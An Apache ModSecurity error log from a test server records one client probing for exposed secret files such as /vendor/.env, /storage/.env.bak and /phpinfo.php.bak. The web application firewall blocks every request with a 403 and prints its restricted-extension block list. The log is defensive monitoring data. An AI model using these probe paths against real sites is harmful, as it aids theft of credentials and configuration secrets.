[Thu Oct 30 20:08:38.211987 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aQO3tkIRheG_olLGGo-l8AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:38.745766 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aQO3tkIRheG_olLGGo-l8QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:38.746027 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aQO3tkIRheG_olLGGo-l8QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:38.746232 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aQO3tkIRheG_olLGGo-l8QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:39.282710 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aQO3t0IRheG_olLGGo-l8gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:39.282908 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aQO3t0IRheG_olLGGo-l8gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:39.283157 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aQO3t0IRheG_olLGGo-l8gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:39.283357 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aQO3t0IRheG_olLGGo-l8gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:39.939639 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aQO3t0IRheG_olLGGo-l8wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:39.939843 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aQO3t0IRheG_olLGGo-l8wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:39.940087 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aQO3t0IRheG_olLGGo-l8wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:39.940296 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aQO3t0IRheG_olLGGo-l8wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:40.545989 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aQO3uEIRheG_olLGGo-l9AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:40.546268 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aQO3uEIRheG_olLGGo-l9AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:40.546531 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aQO3uEIRheG_olLGGo-l9AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:41.113448 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aQO3uUIRheG_olLGGo-l9QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:41.113728 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aQO3uUIRheG_olLGGo-l9QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:41.113957 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aQO3uUIRheG_olLGGo-l9QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:41.660950 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aQO3uUIRheG_olLGGo-l9gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:41.661148 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aQO3uUIRheG_olLGGo-l9gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:41.661427 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aQO3uUIRheG_olLGGo-l9gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:41.661679 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aQO3uUIRheG_olLGGo-l9gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:42.249095 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aQO3ukIRheG_olLGGo-l9wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:42.249371 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aQO3ukIRheG_olLGGo-l9wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:42.249735 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aQO3ukIRheG_olLGGo-l9wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:42.250011 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aQO3ukIRheG_olLGGo-l9wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:57.663298 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aQO3yTBYe33Xoy6JQHQ2xAAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:57.663696 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aQO3yTBYe33Xoy6JQHQ2xAAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:57.663899 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aQO3yTBYe33Xoy6JQHQ2xAAAAAM&quot;], referer: https://www.google.com/
